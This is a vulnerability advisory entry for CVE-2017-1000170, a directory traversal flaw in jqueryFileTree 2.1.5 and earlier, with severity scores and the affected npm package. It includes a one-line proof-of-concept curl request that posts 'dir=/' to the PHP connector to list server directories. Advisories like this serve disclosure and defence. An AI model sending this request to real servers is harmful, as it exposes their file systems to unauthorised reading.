CVE-2017-1000170
HIGH7.5EPSS 90.0%jqueryFileTree vulnerable to Directory Traversal
Published: 5/13/2022Modified: 4/22/2024
Description
jqueryFileTree 2.1.5 and older is vulnerable to Directory Traversal ### POC: ```bash curl 'http://localhost:8000/js/jqueryfiletree-2.1.5/dist/connectors/jqueryFileTree.php' -H 'Referer: xxx' -d "dir=/" ```
Affected packages (1)
- npm/jqueryfiletreefrom 0, <= 2.1.5
CVSS scores
| Source | Version | Severity | Vector |
|---|---|---|---|
| osv | CVSS 3.1 | HIGH7.5 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |